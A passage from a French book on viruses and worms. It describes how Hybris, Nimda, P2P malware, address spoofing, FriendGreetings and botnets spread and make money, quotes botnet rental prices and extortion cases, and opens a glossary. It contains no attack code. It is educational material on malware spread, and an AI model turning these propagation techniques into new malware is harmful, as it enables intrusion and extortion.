Les modules récupérés étaient cryptés et signés par le biais d’un algorithme dutype RSA avec une clé privée de 128 octets. Le virus, contenant la clé publique asso-ciée, était à même de n’accepter que des composants signés et reconnus.

Très vite, une trentaine de modules furent détectés et l’on nota les comporte-ments suivants:

• affichage d’une spirale,• insertion d’une copie du virus dans les archives ZIP et RAR,• interdiction d’accès à certains sites anti-virus,• recherche, depuis le PC infecté, d’ordinateurs contenant le cheval de Troie

SubSeven pour distribution du virus à ces machines,• codage polymorphique du virus avant son envoi par mail,• infection des fichiers EXE locaux,• téléchargement d’autres plug-ins depuis des pages WEB hébergées au Vietnam

(site fermé le 20 novembre 2000).

Figure 10.17 — Exemple de message destiné à Hybris et disponible sur alt.comp.virus

1. NIKISHIN, Andy (janvier 2001), Harnessing Hybris, Virus Bulletin, janvier 2001, pp6-7.

From: Use-Author-Address-Header@[127.1] Subject: i_rz D[CZ CzSjaLenCONewsgroups: alt.comp.virusView: (This is the only article in this thread) | Original Format Date: 2000-12-10 23:13:40 PST

IMGDDNFKFBKCHDMJILRGJGIGHFDJKIPHGOHGFFMHGJNBIPEIMPMPQHELCBROHKIOQNGNINOZNMDEIJPEIOIDQLHBQBMZFHDZCEJBRJEHNPDHJLIKFGGGDKFZCKJCOFPDMIGPHGQJHJCGFFHBQKJMONHIFNDILMLJKZPGFJLMIKHGEZIBFIGOROFPHICZONRJEEOCGZMJPZCJMJLMOIPFFZCJPDLGCONHLGOMKDOKIHQDIPOZHICZDEGDPHPZRBFEDJPEEDFLFJNKENROQJGCNZGNJKJGIPHPCDKZNKOLFGEBPHEZLOPDOIQZMERJFGFFKOIHCLCFMD[continues]....[more coded lines]GNCMRENJDFJZNNGJMBREKOINQPMD****

PAGET_Ch10 Page 285 Lundi, 11. avril 2005 5:23 17

286 Chapitre 10. Dernières évolutions et perspectives

Un autre module expédiait des e-mails avec une pièce jointe d’un nom laissantsouvent sous-entendre un caractère pornographique (exemple : sexynain.scr).L’expéditeur semblait être :

From: Hahaha <[email protected]>

Il s’agissait d’un nom usurpé et les propriétaires du domaine sexyfun.net réagirentimmédiatement à cette mise en cause.

Le sujet et le corps du mail étaient variables. Les français retiendront :

Les 7 coquins nainsBlanche neige et … les sexe nains

10.9 INTÉGRER DE MULTIPLES TECHNIQUES DE PROPAGATION

Comme nous l’indiquions au début de ce document, les virus programmes représen-tent aujourd’hui la majorité des mass-mailers. Leur principal intérêt réside en leurcapacité d’intégrer dans un même ensemble plusieurs techniques de propagation.L’exemple de W32/Nimda@MM est particulièrement convaincant.

Les premières traces du virus sont repérées le 18 septembre 2001. Il se présentesous la forme d’un e-mail apparemment vide accompagné d’un fichier joint (le viruslui-même). Comme nombre de ses prédécesseurs, il utilise une vulnérabilité d’Inter-net Explorer1 permettant l’exécution du code malveillant sous Outlook, dès quel’utilisateur visualise le mail. L’attachement est ainsi exécuté sans que l’utilisateuraie nécessairement recourt au double-clic.

Une fois un poste infecté, il se propage en utilisant plusieurs mécanismes :

• Par e-mail : envoi d’une copie de lui-même à tous les correspondants trouvésdans le carnet d’adresses du poste infecté ou dans des fichiers HTML présentssur le système. Il utilise pour cela sa propre routine SMTP et parfois la MAPIde Microsoft.

• Par infection locale : il analyse les disques durs à la recherche de fichiers liés àInternet aux noms prédéfinies (combinaison de noms et d’extension tels que*DEFAULT*, *INDEX*, *MAIN*, *README* et .HTML, .HTM,.ASP). Il ajoute du code JavaScript dans chaque fichier trouvé. Si l’un d’euxest visualisé, le programme viral, préalablement copié dans le même réper-toire, sera automatiquement exécuté.

• Le virus infecte également certains fichiers PE aux extensions EXE dont il atrouvé le nom dans la base de registres.

• Par propagation en utilisant les partages de disques sous Windows. Il installeun fichier à l’extension EML (ou parfois NWS). Un utilisateur parcourant

1. MS01-020 : Incorrect MIME Header Can Cause IE to Execute E-mail Attachment.

PAGET_Ch10 Page 286 Lundi, 11. avril 2005 5:23 17

287©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it10.10 Investir les modes poste à poste

l’un de ces partages réseaux pourra se trouver infecter au travers de la prévi-sualisation de l’explorateur Windows.

• À travers les serveurs Microsoft IIS vulnérables : la méthode utilisée n’est pasreprise de CodeRed mais de W32/CodeBlue (découvert le 7 septembre 2001)1.Le ver active une session temporaire TFTP sur la machine infecté afin de setransmettre sur la machine vulnérable.

• À travers des consultations Web : le petit script installé dans les fichiersHTML des serveurs compromis permet la transmission du virus sur la machinequi visualise ces pages.

• À travers l’exploitation d’anciennes portes dérobées laissées par W32/Code-Red.C.worm.

• À l’ouverture de fichiers RTF (Rich Text Format) : ces fichiers sont gérés par laDLL, RICHED20.DLL. Le virus ayant écrasé cette DLL avec son propre code,chaque ouverture d’un document RTF par Word ou Wordpad se solde parl’exécution du code viral.

Dès 1999, certains chercheurs annonçaient la venue prochaine d’un tel virusexploitant de nouvelles techniques pour se propager au travers de l’Internet. EugèneKaspersky indiquait dans un article du Virus Bulletin de février 1999 tous les détailsde d’une telle infection2. Il présentait un fonctionnement en trois étapes :

• Pénétration de la machine locale depuis Internet (via la messagerie ou unepage Web).

• Infection du réseau local.• Retour vers Internet (via la messagerie, un serveur Web ou l’Internet Infor-

mation Server (IIS de Microsoft).

Deux ans après, les prédictions se réalisaient…

10.10 INVESTIR LES MODES POSTE À POSTE

Illégal lorsque non libres de droits, l’échange de fichiers musicaux et vidéo est unepratique de plus en plus courante sur le NET. Plusieurs dizaines de logiciels gratuitspermettent ces échanges de fichiers entre les internautes.

Ce mode d’échange devenant courant, les utilisateurs et leurs machines sontmaintenant de nouvelles cibles. On estime à 2,4 millions le nombre d’utilisateurs deKaZaA en septembre 2004.

1. Il s’agit de la vulnérabilité MS00-078 connue sous le titre de Web Server Folder Traversal Vulne-rability. Codered utilisait la vulnérabilité MS01-033.2. Kaspersky Eugène (1999), Viruses and the Internet – Whatever Next ?, Virus Bulletin. Février1999. pp 14-17.

PAGET_Ch10 Page 287 Lundi, 11. avril 2005 5:23 17

288 Chapitre 10. Dernières évolutions et perspectives

Sur ces réseaux, on retrouve en premier lieu des virus dédiés. Il en existe des mil-liers que les anti-virus détectent généralement de manière générique (W32/Gene-ric !p2p). Ils diffusent les outils d’attaque et d’espionnage que nous présentons toutau long de ce chapitre ; il s’agit principalement de portes dérobées et de renifleurs declavier ou de mot de passe.

Viennent ensuite les robots ; nous en détaillerons le fonctionnement un pro-chain paragraphe. Ils complètent le travail des précédents dispositifs d’attaque etpermettent une utilisation à distance des ressources de la machine à des fins crimi-nelles. Même si la plupart d’entre eux sont pilotés via des canaux IRC, quelquesautres sont directement contrôlés via les réseaux P2P eux-mêmes.

Les mass-mailers sont les troisièmes hôtes privilégiés des réseaux peer to peer.Alors que le public à trop tendance à ne les voir qu’au contact des messageries élec-troniques, ceux ci possèdent souvent des mécanismes de recherche de répertoirespartagées ou ils s’y infiltrent sous des noms d’empreint pour mieux se propager. Lesnombreuses variantes de W32/Bagle@MM sont particulièrement efficaces dans cedomaine.

10.11 USURPER INTELLIGEMMENT LES ADRESSES

La technique n’est pas nouvelle mais les virus du moment utilisent particulièrementbien cette méthode.

W32/BugBear@MM, déjà cité dans ce document, fait de l’usurpation d’expédi-teur. Du fait de cette pratique, un message infecté arrivant à destination ne vient pasnécessairement de la personne indiquée dans l’entête.

Ces virus font aussi de l’usurpation intelligente d’adresse et de domaine. S’ilstrouvent, par exemple, les adresses [email protected] et [email protected], le nomd’expéditeur retenu devient un mélange des deux, tel que [email protected].

Cette technique, également exploitée par certaines variantes de W32/Sobig@MM, explique en partie sa forte propagation en 2004 : bien qu’affublé d’uneadresse erronée, l’expéditeur n’est pas nécessairement un inconnu. Cela rend ainsi ledestinataire moins méfiant.

10.12 RECHERCHER L’AVAL DE L’UTILISATEUR

Recevoir, exécuter et réexpédier un mass-mailer est une pratique généralementinvolontaire. Faire sciemment cet envoi à l’ensemble de ses correspondants est unexercice que j’ai moi même pratiqué à mon corps défendant.

J’expérimentais alors le mass-mailing consentant !

PAGET_Ch10 Page 288 Lundi, 11. avril 2005 5:23 17

289©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it10.12 Rechercher l’aval de l’utilisateur

Le 29 octobre 2002, revenant de congés et à l’approche d’Halloween, je reçois surma machine personnelle, un message m’indiquant qu’une carte virtuelle m’attendsur le site FriendGreetings.com. Ayant encore un pied en vacances et la carte sem-blant provenir d’un membre de ma famille, je clique sur le lien indiqué.

Figure 10.18 — Message en provenance de FriendGreetings

Il m’est alors proposé de télécharger, puis d’installer, un logiciel applicatif qui doitme permettre de visualiser correctement le message virtuel qui m’attend.

Figure 10.19 — FriendGreetings doit être installé sur la machine

J’accepte l’installation en répondant positivement à diverses autres requêtes. Laprésentation professionnelle trompe définitivement ma vigilance.

PAGET_Ch10 Page 289 Lundi, 11. avril 2005 5:23 17

290 Chapitre 10. Dernières évolutions et perspectives

Figure 10.20 — FriendGreetings s’installe

D’autres boites de dialogue s’affichent à l’écran. Pressé d’en finir, et sans lire leurcontenu, je répond invariablement par l’affirmative.

Je suis enfin récompensé : une belle citrouille me souhaite un joyeux Halloween.

Figure 10.21 — Ma carte virtuelle de FriendGreetings

PAGET_Ch10 Page 290 Lundi, 11. avril 2005 5:23 17

291©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it10.13 L’invasion des robots

Alors que je m’apprête à fermer et à détruire ce courrier, mon attention est attiréepar l’emballement du compteur de messages de ma boite d’envoi. Je ferme alors pré-cipitamment ma machine pour m’intéresser aux dernières découvertes qui peuventavoir eu lieu pendant mes quelques jours de vacances.

Passant dans mon environnement professionnel, je tombe rapidement sur l’alerteFriend Greeting application et retrouve, avec effroi, une impression écran de la der-nière fenêtre qui n’avait pas retenue mon attention : il m’avait été demandé monaccord pour un envoi publicitaire à l’ensemble de mes contacts.

Figure 10.22 — L’accord de licence FriendGreetings

Le marketing viral était né et d’autres exemples de ce type virent rapidement lejour. Après avoir alimenté les forums spécialisés où l’on échange son point de vue surl’aspect viral ou non du phénomène, il fut décidé d’attribuer le qualificatif d’applica-tion indésirable à ces nouveaux venus.

10.13 L’INVASION DES ROBOTS

L’année 2003 a été celle de la naissance des robots. Parmi les plus connus, citons lesfamilles Gaobot, Spybot et Randex. Pour s’implanter, ils utilisent des méthodes classi-ques. S’ils ne sont pas eux même autoreproducteurs, ils s’installent sur les machinesnon protégées qu’ils rencontrent par le biais du courrier électronique (spam) oud’une vulnérabilité exploitée à l’occasion d’une visite sur un site Internet qui lesdiffusent.

Jusqu’à présent, l’innovation technique fait défaut. C’est la quantité qui prime etnon la qualité. Des centaines de ces programmes sont distribués, utilisés et abandon-nés aussitôt qu’un anti-virus à jour les détecte.

PAGET_Ch10 Page 291 Lundi, 11. avril 2005 5:23 17

292 Chapitre 10. Dernières évolutions et perspectives

Lorsqu’un virus est prolifique, ses variantes dépassent rarement la centaine. Àl’heure ou j’écris ces lignes, la variante BE de Mydoom vient d’être annoncée(21 février 2005). Il s’agit de la 57e variante du virus. De son côté, Loveletter rentredans sa cinquième année d’existence, il n’en est qu’à sa 93e variante. La situation esttotalement différente pour les robots. Un an après leur version originale, certainsd’entre eux ont fait l’objet de plusieurs milliers de variantes et les concepteurs deproduit anti-virus en découvrent entre 25 et 50 nouveaux chaque jour.

Figure 10.23 — Aspect quantitatif des robots

Une fois présent sur une machine, le robot initialise son propre canal de com-mande. Chaque variante se connecte sur un canal IRC distinct. Elle rejoint ainsi sessemblables et attend les ordres de son commanditaire. On dit alors que l’ensembleforme un botnet.

Figure 10.24 — Aspect quantitatif des robots

PAGET_Ch10 Page 292 Lundi, 11. avril 2005 5:23 17

293©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it10.13 L’invasion des robots

Là ou le bot circule, l’argent circule ! Ceux qui se cachent derrière les robots :

• envoient des messages de type spam ou phishing,• collectent des adresses e-mails,• cherchent les clés de certains logiciels et CD de jeux,• mènent des attaques à l’encontre de sites qu’ils rançonnent,• capturent des mots de passe,• etc.

En novembre 2004, Peter Haag réalisait une étude sur les robots1. Il explique quedes millions d’entre eux sont à louer et qu’un grand botnet peut être constitué de plu-sieurs dizaines de milliers de machines. Ses chiffres sont éloquents ; en voici certainsretranscrits par mes soins en Euro :

• un accès non exclusif à une machine : 0,15 Euros, 0,33 Euros en mode exclusif,• un réseau de 500 robots : 380 Euros,• la location de 20.000 serveurs relais (proxies) pour spammer vaut 75 Euros par

semaine,• les attaques DDOS se négocient entre 38 et 750 Euros.

Tout cela n’est pas de la science-fiction, dans son rapport de criminologie vir-tuelle2, le docteur Peter Troxler cite une source à Scotland Yard : Des petits groupes dejeunes gens créent des réseaux de 10 000 à 30 000 ordinateurs et les louent à quiconquepeut les payer. Selon cette étude, le prix ne dépasse pas les 100 dollars par heure. Lesacheteurs et les vendeurs effectuent les paiements via des comptes anonymes ou destransferts de la Western Union.

Le rapport cite également le cas de Jay Echouafni. Au cours de l’été 2004, cethomme d’affaires du Massachusetts aux Etats-Unis, a engagé les services de piratespour lancer des attaques contre des sites web commerciaux de trois de ses concur-rents. Un des complices d’Echouafni, appelé Ashley, recruta trois pirates adoles-cents, répondant aux pseudonymes Emp, Rain et sorCe (Joshua Schichtel, JonathanHall et Lee Walker). Le dénommé sorCe, résidant au Royaume-Uni, possédait unbotnet constitué de 5 000 à 10 000 ordinateurs. Il les a utilisé pour lancer l’attaque.

La mafia utilise aussi ces méthodes pour intimider des entreprises. Plusieurs cas dechantage sont cités dans le panorama de la cybercriminalité 2004 du CLUSIF3. Enmars 2004, l’un d’entre eux aurait été organisé par des syndicats du crime opérant àpartir de la Russie. Ces membres auraient pris pour cibles des sites web de paris dumonde entier et menacé de lancer des attaques par déni de service contre ces sites sileurs propriétaires ne payaient pas une rançon allant parfois jusqu’à 30 000 livressterling.

1. Peter Haag (SWITCH Security Workshop). Etude reprise par Alain Hugentobler, 14 décembre2004. http://www.unige.ch/dinf/projets/pres_corres10_14102004/Botnet_10_14122004.pdf.2. Rapport de criminologie virtuelle McAfee – Février 2005.3. https://www.clusif.asso.fr/index.asp.

PAGET_Ch10 Page 293 Lundi, 11. avril 2005 5:23 17

294 Chapitre 10. Dernières évolutions et perspectives

Figure 10.25 — Le site du FBI

Pour protéger leurs activités et éviter ces attaques, les bookmakers ont collaboréétroitement avec le NHTCU1. Les maîtres chanteurs présumés ont été arrêtés enRussie en juillet 2004.

Le CLUSIF cite aussi l’aventure de BetCBSports en reprenant la copie d’un cour-riel d’intimidation :

« You have 3 choices. You can make a deal with us now before the attacks start. Youcan make a deal with us when you are under attack. You can ignore us and plan on losingyour Internet business. »

L’argent attire donc les racketteurs. Les casinos en ligne, les sites de pari, lessociétés de services de paiement en ligne et les grandes entreprises sont aujourd’huiles principales cibles. Demain le phénomène peut s’étendre aux PME et même auxparticuliers.

Les mafias et autres associations criminelles qui s’engouffrent dans la cybercrimi-nalité ont à leur disposition d’importants moyens financiers. Ils peuvent aussi s’atta-cher les services de spécialistes qui de gré ou de force devront travailler audéveloppement de nouveaux outils d’attaques. Ceux ci risquent donc de devenir deplus en plus sophistiqués. Après la quantité viendra peut être le temps de la qualité.

1. NHTCU : National Hi-Tech Crime Unit.

PAGET_Ch10 Page 294 Lundi, 11. avril 2005 5:23 17

295©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it10.14 Conclusion : la fin de l’enfantillage – L’appât du gain

10.14 CONCLUSION : LA FIN DE L’ENFANTILLAGE – L’APPÂT DU GAIN

Tous les exemples que j’ai retenus dans ce chapitre nous démontrent que le but d’unvirus n’est pas la destruction massive sans discernement. Se cachant derrière denombreuses gamineries, il semble beaucoup plus réfléchi.

Avec FriendGreetings, nous avons vu une dérive anecdotique vers le virus publici-taire. Il a maintenant laissé la place aux adwares et aux spywares. Alors qu’il a falluune quinzaine d’année pour que la wildlist cite plus de 1500 virus différents, oncomptabilise déjà plus de 7000 pubiciels et espiogiciels. L’appât du gain a dopé lesconcepteurs.

Il y a bien sur toujours des joueurs pour qui écrire un programme malveillant n’estqu’un challenge intellectuel ou une manière de chercher une reconnaissance au tra-vers d’un pseudo. L’appât du gain et l’argent facile sont pourtant les principaux motifsdes attaques actuelles. Il me semble possible de modéliser la criminalité sur Internetde la manière suivante :

• 10 % de joueurs et de jeunes irresponsables,• 60 % de petits indélicats qui espèrent réaliser une fraude mineure,• 30 % d’activité liée au grand banditisme.

Au regard de la majorité des virus présents dans nos TOP-10, les liens qui s’éta-blissent entre les auteurs de virus et les autres acteurs de la criminalité informatiquesemblent durablement s’intensifier. Des gangs de malfaiteurs organisés et des escrocsprofessionnels arpentent donc maintenant Internet. Ils recherchent de fonds à sou-tirer, et toute occasion est bonne à prendre. Les virus qui ont retenu notre attentiondu fait de leur forte propagation comportaient très souvent divers chevaux de Troiedédiés à des tâches indélicates et frauduleuses.

Il n’apparaît plus improbable, ni incongru, qu’un jour ou l’autre certains virussoient clairement utilisés dans des buts criminels en lien avec une idéologie totali-taire ou un certain banditisme en col blanc. Certains d’entre nous voient déjà enW32/Badtrans@MM, W32/Bugbear@MM, W32/Sobig@MM et/ou W32/Mimail@MMles prémices d’un tel changement de cap. Même si ceci n’est pas juridiquementdémontré, il est clair que ces virus s’intéressent au domaine financier.

Certains états tels que les États-Unis, la Chine ou la Corée du Sud ne cachentplus leur intérêt pour le développement et l’utilisation des nouvelles technologiesdans un but offensif. D’autres pays tels que la France et Israël restent plus discretsmais semblent pourtant mener des études en ce domaine.

Les récentes attaques qui se sont produites ces derniers mois annoncent peut êtreune nouvelle destinée pour les virus informatiques : la fin de l’enfantillage et l’entrée deceux-ci dans la cour des grands.

PAGET_Ch10 Page 295 Lundi, 11. avril 2005 5:23 17

PAGET_Ch10 Page 296 Lundi, 11. avril 2005 5:23 17

Abréviations et glossaire

À LA DEMANDE (

On Demand

)

Mode statique d’analyse anti-virale induite par une action volontaire de l’utilisateur.

ADWARE

Programme chargé de gérer l’affichage des publicités. Le terme anglais adware est issude la contraction des mots ADvertising et softWARE. Le terme français est la contrac-tion des mots PUBlicité et logICIEL.

AJOUT

Qualificatif appliqué aux virus qui ajoutent leur propre code au sein des fichiers qu’ilsinfectent en entraînant ainsi une augmentation de taille de l’hôte.

ALIAS

Autre nom sous lequel un virus est connu ; exemple

W95/CIH

, alias

Chernobyl

.

ANTI-DEBUGGING

Qualificatif appliqué aux virus utilisant des séries d’instructions ou algorithmes rendantimpossible un désassemblage via les outils dédiés à cet effet. Le chercheur devra neu-traliser ces fonctions avant de pouvoir entreprendre sa recherche.

APPAT (

Bait

)

Programme leurre utilisé par les chercheurs anti-virus dont la finalité est de se faireinfecter.

APPENDING

Voir Ajout.

AVERT (

Anti-Virus and Vulnerability Emergency Response Team

)

Groupe de chercheurs anti-virus attaché au concepteur de produits de sécurité McAfee.http://www.mcafeesecurity.com/us/security/home.asp.

BACKDOOR

Voir Porte dérobée.

BOMBE LOGIQUE

Programme contenant une fonction malveillante généralement associée à un déclen-chement différé. Cette fonction a été rajoutée de façon illicite à un programme hôte

PAGET_Glossaire Page 297 Lundi, 11. avril 2005 5:23 17

298 Vers & virus

qui conservera son apparence anodine et son fonctionnement correct jusqu’au momentchoisi par le programmeur.

BOTS (Robots)

Programmes malveillants permettant une prise de contrôle à distance de machines vul-nérables qui forment un réseau d’attaque (ou botnet).

CAIDA (

Cooperative Association for Internet Data Analysis

)

Organisation proposant des outils d’analyse et des études liés à l’infrastructure del’Internet afin d’en garantir une meilleure robustesse. http://www.caida.org/

CAP

Nom attribué à un macro-virus apparu en 1997 et d’origine vénézuélienne. Abréviationde Carlos Andrés Pérez, figure politique du Venezuela

CARO (

Computer Anti-Virus Researchers Organization

)

Lieu d’échanges privés entre spécialistes de la lutte anti-virale. L’un de ses rôles estl’unification des noms des virus. Il permet aussi aux spécialistes des échanges rapideset sécurisés. Il n’a aucune ouverture vers le public et les médias.

CERT (

Coordination center computer Emergency Response Team

)

http://www.cert.orgEn France, le CERT-IST (

Computer Emergency Response Team

– Industrie, Services etTertiaire) est une association de Loi 1901, qui a pour vocation d’assurer pour ses adhé-rents des services de prévention des risques et d’assistance aux traitements d’incidents.Le CERT-IST est un centre d’alerte et de réaction aux attaques informatiques destinéaux entreprises françaises.http://www.cert-ist.com

CHARGE FINALE (

Payload

)

Fonction malveillante généralement attribuée à un virus et se déclenchant, ou non,sur un critère donné (gâchette).

CHEVAL DE TROIE (

Trojan Horse

)

Programme en apparence inoffensif contenant une fonction illicite cachée et connuede l’attaquant seul. Cette fonction est utilisée notamment pour pénétrer par effractiondans l’ordinateur et consulter, modifier ou détruire des informations.

CLUSIF (CLub de la Sécurité des Systèmes d’Information Français)

Fondée en 1984, le CLUSIF est une association loi de 1901 qui regroupe des personnestravaillant au sein d’entreprises utilisatrices dans tous les secteurs de l’industrie et desservices, ou d’organismes publics, aussi bien que dans des entreprises ayant une offrecommerciale autour de la sécurité des systèmes d’information.www.clusif.asso.fr.

COMPAGNON

Qualificatif appliqué aux virus plaçant leur code dans un fichier séparé qui, malgré uneextension différente, porte le même nom que le fichier cible.

PAGET_Glossaire Page 298 Lundi, 11. avril 2005 5:23 17

299Glossaire

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

CONTROLE D’INTÉGRITÉ

Processus de surveillance consistant à établir, pour chaque élément réputé sain, un trai-tement mathématique aboutissant à une « photographie de référence » (ou

code check-sum

,

CRC

), pour la comparer au fil du temps avec l’image du moment.

COOKIE

Témoin de connexion. Élément d’information transmis lors de la visite d’un site Web.Sauvegardé sur l’ordinateur de l’internaute, il pourra être consulté par le serveur distantlors de visites ultérieures.

COURRIER NON SOLLICITÉ

Voir Spam.

CRYPTE

Qualificatif s’appliquant aux virus se décomposant en deux parties : un programme dedécryptage stable et une suite d’instructions cryptées qui forment le corps du virus.

DDoS (

Distributed Denial of Service

)

Déni de Service Distribué, attaque par saturation. Attaque informatique visant à géné-rer des arrêts de service depuis des ordinateurs différents.

DÉFENSIF

Qualificatif s’appliquant aux virus ayant des fonctions de protection, voire d’attaque,contre les logiciels antivirus non à jour au moment de leur apparition.

DÉLOCALISÉ

Qualificatif s’appliquant aux virus programmes plaçant leur code dans des secteurs inu-tilisés du disque. Ils changent ensuite les paramètres des répertoires pour re-diriger lelancement du programme vers le code viral. Sans la moindre modification interne,l’ensemble des fichiers infectés possèdent donc tous la même adresse (

cluster

) de départ.

DIALER

Logiciel de connexion téléphonique.

DoS

Déni de Service, attaque par saturation.

DROPPER

Programme malveillant capable d’implanter un virus en mémoire ou dans une cibleinitiale.

EICAR (

European Institute of Computer Anti-virus Research

)

Association d’envergure européenne regroupant des universitaires, des industriels etdes experts civils et militaires ; tous décidés à lutter contre l’écriture, la proliférationet l’utilisation des virus et autres programmes malveillants portant atteinte à la sécuritéindividuelle et collective. http://www.eicar.org

ESPIOGICIEL

Voir Spyware.

EXPLOIT

Programme ou technique permettant d’utiliser une vulnérabilité découverte au seind’un logiciel informatique prédéfini.

PAGET_Glossaire Page 299 Lundi, 11. avril 2005 5:23 17

300 Vers & virus

FIREWALL (Pare-Feu)

Système de protection placé en amont d’un réseau pour assurer la sécurité des infor-mations par filtrage des entrées et contrôle des sorties selon des procédures automati-ques établies.

FLOODING (Inondation)

Déni de Service qui consiste à inonder un serveur de milliers de paquets IP de grossetaille, dans le but de le saturer et d’entraîner sa défaillance.

FURTIF

Qualificatif s’appliquant aux virus camouflant leur présence en renvoyant à chaquerequête du système d’exploitation une information erronée et conforme à celle qu’ildevrait recevoir dans un environnement sain.

GACHETTE (

Trigger

)

Critère prédéfini induisant l’activation d’une fonctionnalité malveillante (

payload

) par-fois associée à un virus.

GÉNÉRATEUR DE VIRUS

Programme permettant la fabrication aisée de virus en choisissant interactivement descaractéristiques parmi différentes options proposées.

GÉNÉRATEUR DE CHIFFREMENT (

Mutation Engine

)

Programme qui, appliquée à un virus existant, le crypte avec un module lui-même varia-ble (polymorphie).

GÉNÉRIQUE (analyse)

Méthode de détection issue de la recherche par signature dont les critères de rechercheont été étendus afin de permettre la détection de l’ensemble des virus d’une mêmefamille, que ceux ci soient connus ou inconnus.

HEURISTIQUE (analyse)

Méthode de détection qui repose sur l’analyse des fonctionnalités d’une infection etnon sur la recherche d’une signature virale. Le processus s’applique à trouver des ins-tructions suspectes et des anomalies structurelles de fichiers laissant supposer la pré-sence d’un programme auto-reproducteur.

HOAX

Voir Rumeur.

INFECTEUR RAPIDE (

Fast Infector

)

Virus ayant un propagation très rapide. Une fois en mémoire, il est à même d’infecterun fichier lors d’une simple manipulation. Pour ces virus, il n’est pas indispensabled’exécuter un fichier sain pour l’infecter, une simple copie d’un répertoire vers un autres’avère suffisante.

INFOVIRUS

Voir Observatoire virus.

ITW (

In-The-Wild

)

Abréviation créée et utilisée par la

WildList Organization International

indiquant qu’unvirus informatique a été rencontré « dans la nature » par certains de ses correspondants.http://www.wildlist.org/.

PAGET_Glossaire Page 300 Lundi, 11. avril 2005 5:23 17

301Glossaire

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

KEYLOGGER

Voir Renifleur de clavier.

LETTRE CHAÎNE

Message s’appuyant sur la crédibilité des destinataires. Il fait appel à la piété, la géné-rosité et/ou la superstition et fait éventuellement miroiter un enrichissement personnel.

MACRO-VIRUS

Virus utilisant les macro-commandes intégrées aux logiciels de bureautique tels queceux des suites

Office

de Microsoft. Ces routines se retrouvent incorporées au sein desfichiers de données (traitement de texte, tableur…) et se propagent avec eux.

MASS-MAILER

Virus utilisant la messagerie électronique pour se propager.

MONITEUR DE PROGRAMME

Processus d’analyse dynamique des opérations de lecture et d’écriture en mémoire. Lesaccès disques et les fonctions système sensibles sont surveillés. En cas de doute ellesseront interdites ou nécessiteront une autorisation préalable de l’utilisateur.

MULTIPARTITE

Qualificatif dédié aux virus infectant à la fois les zones système et les fichiers.

MUTATION ENGINE

Voir Générateur de Chiffrement.

NUKER

Outil de plantage Windows entraînant, par exemple, l’affichage du fameux « écranbleu » qui oblige à redémarrer le système.

OBSERVATOIRE VIRUS

Structure d’information crée par le CLUSIF afin de suivre l’évolution du phénomènevirus en France. Les données résultantes de ces études sont disponibles sur le site Info-virus.https://www.clusif.asso.fr/fr/production/infovir/

OPCODE

Élément déterminant d’une instruction en assembleur qui la définie et la différenciesans ambiguïté. Il s’agit souvent du premier ou des 2 premiers octets (code hexadécimal)d’une instruction.

PARE-FEU

Voir Firewall.

PASSWORD STEALER

Voir Renifleur de mot de passe.

PATCH

Petit programme destiné à apporter des améliorations à un programme ou à corrigerdes bogues de fonctionnement.

PAYLOAD

Voir Charge Finale.

PAGET_Glossaire Page 301 Lundi, 11. avril 2005 5:23 17

302 Vers & virus

PE (

Portable Executable

)

Format de fichiers exécutables propre aux systèmes d’exploitation Microsoft depuisWindows95.

POLYMORPHE

Qualificatif appliqué aux virus changeant leurs instructions ou simplement l’ordre decelles-ci à chaque infection. Il correspond en fait à un virus crypté ayant intégré dansson programme de décryptage un algorithme de mutation.

PORTE DÉROBÉE (

Backdoor

)

Programme implémenté secrètement sur une machine et permettant ensuite à son con-cepteur de s’y introduire à distance.

PROGRAMME (virus)

Virus, dont le vecteur de contamination principal est constitué par les exécutables.

PUBICIEL

Voir Adware

PWS (

PassWord Stealer

)

Voir Renifleur de mot de passe.

RECOUVREMENT

Qualificatif appliqué aux virus qui écrasent avec leur code tout ou partie des fichiersqu’ils infectent.

RENIFLEUR DE CLAVIER (

Keylogger

)

Programme dédié à la capture d’informations. Frappées au clavier, celles ci sont enre-gistrées en continue ou selon des critères prédéfinis. Elles sont ensuite retransmises aupirate qui souhaite se les approprier.

RENIFLEUR DE MOT DE PASSE (

Password Stealer

, PWS)

Programme dédié à la capture de mots de passe. Ceux-ci sont enregistrés lors de lafrappe au clavier puis retransmis par un moyen quelconque au pirate qui souhaite seles approprier.

RÉSIDENT (TSR –

Terminate and Stay Resident)Qualificatif s’appliquant aux programmes restant actif en mémoire après leur exécution.Ils peuvent ainsi interagir, en temps réel, avec des événements intervenants sur lamachine.

RETRO-VIRUSVoir Défensif.

ROBOTSVoir Bots.

RUMEUR (Hoax)Information malveillante et non fondée qui, dans le contexte de ce livre, est diffuséepar courrier électronique, dans le but d’effrayer le destinataire ou de nuire à une per-sonne ou un organisme.

PAGET_Glossaire Page 302 Lundi, 11. avril 2005 5:23 17

303Glossaire©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it

RTM (Robert Tappan Morris)Nom donné au ver qui affecta Internet le 2 novembre 1988. En relation directe avecle nom de son auteur.

SANDBOX (Bac à Sable)Environnement protégé dont un programme, même malveillant, ne peut en théoriepas s’échapper durant son exécution pour causer un dommage sur le système environ-nant. Le concept a été popularisé par l’environnement d’exécution protégé des appletsJava.

SCAM AFRICAINMessage proposant un montage financier attractif derrière lequel se cache une escro-querie qui s’articule généralement autour d’une demande d’avance de fond de la partde la victime.

SCANNERLogiciel antivirus fonctionnant par reconnaissance de signatures simples ou complexes.

SCRIPT (virus de)Virus écrit en langage interprété (exemple : Visual Basic Script ou JavaScript) à l’aidede combinaisons de commandes et d’instructions préétablies.

SIGNATURE DE CONTAMINATIONTechnique par laquelle le virus est en mesure de déceler sa propre présence pour seprémunir d’une double installation en mémoire vive ou d’une surcontamination sur unfichier ou une zone système. Le virus utilise généralement une suite hexadécimale decaractères ou des spécificités qu’il apporte dans la définition de la date du fichier qu’ilinfecte.

SIGNATURE DE DIAGNOSTICSuite de caractères hexadécimaux permettant de caractériser la présence d’un virus etle distinguant de toute autre infection. Séquence utilisée par les logiciels fonctionnantpar recherche de signature.

SMURFINGAttaque en déni de service (DoS) consistant à envoyer massivement des requêtesICMP echo-request.

